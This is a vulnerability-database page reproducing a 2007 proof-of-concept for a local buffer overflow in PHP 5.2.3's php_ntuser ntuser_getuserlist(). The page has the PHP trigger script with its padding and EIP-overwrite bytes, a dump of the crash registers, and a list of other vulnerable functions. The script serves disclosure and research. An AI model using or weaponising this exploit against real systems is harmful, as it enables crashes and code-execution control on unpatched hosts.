Lucene search
K

phpget-overflow.txt

🗓️ 24 Aug 2007 00:00:00Reported by shinnaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Local Buffer Overflow in php_ntuser ntuser_getuserlist(

Code
`<?php  
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow  
//author: shinnai  
//mail: shinnai[at]autistici[dot]org  
//site: http://shinnai.altervista.org  
  
//greetz to BrainBugger Crew  
//http://www.brainbugger.altervista.org/  
  
//Bug discovered with "Footzo" (thanks to rgod) modified.  
  
//To download Footzo:  
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar  
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar  
  
//also theese are vulnerable:  
//ntuser_getusergroups <-- DoS, we control EAX  
//ntuser_getdomaincontroller <-- DoS, we control EAX  
//ntuser_getuserinfo <-- BoF, we control EIP 00410041  
  
//This is the content of registers:  
  
//EAX FFFFFFFE  
//ECX 00000754  
//EDX 00000041  
//EBX 00223D18  
//ESP 00C0FB34 UNICODE "CCC... x 100"  
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"  
//ESI 011AC4A8  
//EDI 011ADC00  
//EIP 00410041  
  
$buff = str_repeat("\x41", 250);  
  
$get_EIP = "\x42\x42";  
  
$get_ESP = str_repeat("\x43", 100);  
  
$get_EBP = str_repeat("\x44", 100);  
  
ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation